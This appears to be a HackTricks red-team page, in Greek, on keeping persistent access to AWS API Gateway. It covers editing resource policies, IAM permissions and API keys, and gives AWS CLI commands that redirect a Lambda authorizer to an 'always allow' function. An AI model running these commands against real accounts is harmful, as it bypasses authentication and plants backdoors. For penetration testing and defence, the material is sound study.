AWS - API Gateway Persistence

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

API Gateway

Για περισσότερες πληροφορίες, δείτε:

AWS - API Gateway Enum

Πολιτική πόρων

Τροποποιήστε την πολιτική πόρων των API gateway(s) ώστε να δώσετε στον εαυτό σας πρόσβαση σε αυτά

Τροποποιήστε Lambda Authorizers

Τροποποιήστε τον κώδικα των lambda authorizers ώστε να δώσετε στον εαυτό σας πρόσβαση σε όλα τα endpoints.
Ή απλώς αφαιρέστε τη χρήση του authorizer.

Εάν έχετε δικαιώματα control-plane για δημιουργία/ενημέρωση ενός authorizer (REST API: aws apigateway update-authorizer, HTTP API: aws apigatewayv2 update-authorizer) μπορείτε επίσης να κατευθύνετε ξανά τον authorizer σε ένα Lambda που πάντα επιτρέπει.

REST APIs (οι αλλαγές συνήθως απαιτούν ανάπτυξη):

REGION="us-east-1"
REST_API_ID="<rest_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"

HTTP APIs / apigatewayv2 (συνήθως τίθεται σε ισχύ αμέσως):

REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"

IAM Permissions

Αν ένας πόρος χρησιμοποιεί IAM authorizer, μπορείτε να δώσετε στον εαυτό σας πρόσβαση σε αυτόν τροποποιώντας τα IAM permissions.
Ή απλά αφαιρέστε τη χρήση του authorizer.

API Keys

Αν χρησιμοποιούνται API keys, μπορείτε να leak τα API keys για να διατηρήσετε persistence ή ακόμη και να δημιουργήσετε καινούργια.
Ή απλά αφαιρέστε τη χρήση των API keys.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks